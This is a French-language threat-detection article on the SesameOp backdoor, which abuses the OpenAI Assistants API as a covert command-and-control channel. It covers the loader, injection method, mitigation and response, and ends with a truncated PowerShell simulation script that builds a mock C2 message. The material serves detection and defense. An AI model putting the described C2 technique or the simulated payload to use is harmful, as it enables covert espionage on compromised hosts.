Détection de la porte dérobée SesameOp : Microsoft découvre un nouveau logiciel malveillant abusant de l’API des assistants OpenAI dans des cyberattaques

Attaques du Malware SesameOp

Des chercheurs de Microsoft ont découvert une nouvelle porte dérobée nommée SesameOp qui utilise l’API d’Assistants OpenAI comme canal de commande et de contrôle furtif. Le malware est livré via un chargeur malveillant Netapi64.dll qui est injecté dans les processus .NET en utilisant l’injection AppDomainManager. Il stocke la configuration dans les ressources du DLL et communique avec les endpoints OpenAI pour recevoir des commandes et exfiltrer des résultats. La menace est conçue pour l’espionnage à long terme sur des hôtes Windows.

Enquête

L’enquête a identifié un DLL chargeur (Netapi64.dll) obfusqué avec Eazfuscator.NET qui crée des fichiers marqueurs et un mutex, puis décode et exécute un composant de porte dérobée appelé OpenAIAgent.Netapi64. La porte dérobée analyse une configuration délimitée par des pipes contenant une clé API OpenAI, une clé de dictionnaire et un proxy optionnel. Elle interagit avec l’API d’Assistants OpenAI pour récupérer des magasins vectoriels, assistants et messages qui encodent des commandes ou charges utiles, qui sont décryptés, décompressés et exécutés via un moteur JScript.

Atténuation

Microsoft recommande de renforcer les pare-feux et les paramètres de proxy, d’activer la protection contre les altérations et la protection en temps réel dans Defender, et d’utiliser le mode blocage pour les applications potentiellement indésirables. La surveillance du trafic sortant vers api.openai.com et la détection de la création du mutex spécifique et de fichiers temporaires peuvent aider à détecter l’activité. Le déploiement d’EDR avec le mode blocage et l’automatisation des actions de remédiation est également conseillé.

Réponse

À la détection, isolez l’hôte affecté, terminez les processus malveillants, supprimez le Netapi64.dll et les fichiers temporaires associés, et révoquez la clé API OpenAI compromise. Effectuez un examen judiciaire complet pour des mécanismes de persistance supplémentaires et changez toutes les informations d’identification privilégiées. Mettez à jour les règles de détection pour rechercher le mutex identifié, les chemins de fichiers, et les connexions sortantes à l’API d’Assistants OpenAI.

Charge Utilisée de la Porte Dérobée SesameOp

Exécution de Simulation

Prérequis : Le Contrôle Prévol Télémetrie & Baseline doit avoir réussi.

• Narratif & Commandes de l’Attaque :

  L’adversaire a déployé la porte dérobée SesameOp sur l’hôte Windows compromis. Pour établir le C2, SesameOp émet un HTTPS POST vers https://api.openai.com/v1/assistants  contenant des données de commande chiffrées. Comme la porte dérobée fonctionne sous svchost.exe (un processus système à l’apparence de confiance) et utilise le proxy système par défaut, aucun processus supplémentaire ou contexte utilisateur n’est évident, faisant de la correspondance de chaîne unique le seul indicateur.

  1. Générer le processus de porte dérobée (simulé ici avec PowerShell pour éviter le vrai malware).
  2. Envoyer la charge utile malveillante au point d’accès OpenAI Assistants.
  3. Maintenir la connexion pendant un court intervalle pour générer un NetworkConnect événement visible.

• Script de Test de Régression :

  # Communication C2 Simulée de SesameOp – reproductible pour test
  $payload = @{
      "model" = "gpt-4"
      "messages" = @(
          @{ "role" = "system"; "content" = "You are a backdoor controller." },
          @{ "role" = "user";  "content" = "list processes" }
      )
  } | ConvertTo-Json -Depth 4